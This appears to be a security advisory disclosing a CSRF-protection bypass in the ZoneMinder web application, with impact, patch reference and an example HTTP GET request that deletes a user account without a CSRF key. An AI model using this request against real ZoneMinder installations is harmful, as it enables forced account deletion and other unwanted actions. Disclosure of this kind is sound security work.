Authenticated users can bypass CSRF keys by modifying the request supplied to the Zoneminder web application. These modifications include replacing HTTP POST with an HTTP GET and removing the CSRF key from the request.
An attacker can take advantage of this by using an HTTP GET request to perform actions with no CSRF protection. This could allow an attacker to cause an authenticated user to perform unexpected actions on the web application.
GET /zm/index.php?view=options&tab=users&action=delete&markUids%5B%5D=13&deleteBtn=Delete HTTP/1.1
Host: 10.0.10.107
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://10.0.10.107
Connection: close
Referer: http://10.0.10.107/zm/index.php?view=options&tab=users
Cookie: zmSkin=classic; zmCSS=base; zmLogsTable.bs.table.sortOrder=desc; zmLogsTable.bs.table.sortName=Message; zmLogsTable.bs.table.pageNumber=1; ZMSESSID=24u3uv4ed55n04f73slbu95pm9
Upgrade-Insecure-Requests: 1
trenchesofit Analyst
Authenticated users can bypass CSRF keys by modifying the request supplied to the Zoneminder web application. These modifications include replacing HTTP POST with an HTTP GET and removing the CSRF key from the request.
Impact
An attacker can take advantage of this by using an HTTP GET request to perform actions with no CSRF protection. This could allow an attacker to cause an authenticated user to perform unexpected actions on the web application.
Example Request
Patches
[c0a4c05]
Workarounds
None, please upgrade
References
https://www.trenchesofit.com/2022/09/30/3260/
For more information
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